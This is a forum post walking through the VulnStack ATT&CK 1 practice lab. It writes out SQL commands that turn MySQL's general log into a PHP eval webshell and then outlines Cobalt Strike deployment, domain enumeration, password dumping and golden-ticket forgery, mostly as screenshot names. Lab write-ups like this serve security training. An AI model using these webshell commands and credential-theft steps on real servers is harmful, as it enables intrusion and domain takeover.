Jump to content

Featured Replies

Posted

VulnStack ATTCK 1 靶场

环境

20200416115230.png-water_print

信息收集

端口探测

20200416115357.png-water_print

Only 80, 3306 are open

目录扫描

Access port 80 and found that the home page is PHP probe:

20200416115600.png-water_print

Directory scan:

20200416115450.png-water_print

Discover phpmyadmin.

漏洞挖掘

phpmyadmin Try to log in with password:

root:root login is successful.

20200416115724.png-water_print

There are many ways to getshell in the phpmyadmin background

Let's first look at the regular select into outfile:

20200416115754.png-water_print

Here secure_file_priv is null, and writing and writing are not allowed.

Give up this method and try writing out the webshell by MySQL general_log.

First look at the configuration of global variables show global variables like '%general%':

20200416115844.png-water_print

The general log is not enabled here, so I will open it myself and save the file custom:

1

2

SET GLOBAL general_log='ON'

SET GLOBAL general_log_file='C:/phpStudy/WWW/shell.php'

20200416120022.png-water_print

The absolute path here is obtained through the previous probe.

Then write webshell select '?php @eval($_POST['bbll]);':

20200416120045.png-water_print

Ant Sword Connection:

20200416120108.png-water_print

内网渗透

First check the number of system digits:

1

wmic cpu get addresswidth

20200416120239.png-water_print

Use cs to generate a Trojan and upload:

20200416120319.png-water_print

implement:

20200416120340.png-water_print

Going online, directly with administrator permissions:

20200416120400.png-water_print

View user permissions:

20200416120421.png-water_print

Check the current login domain:

20200416120653.png-water_print

View users within the domain:

20200416120848.png-water_print

View the host in the domain:

20200416120908.png-water_print

View Domain:

20200416120941.png-water_print

dump password:

20200416121030.png-water_print

横向移动

20200416121203.png-water_print

After DC is online, use hashdump dump krbtgt NTLM Hash:

20200416121319.png-water_print

Make golden notes:

20200416121339.png-water_print

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.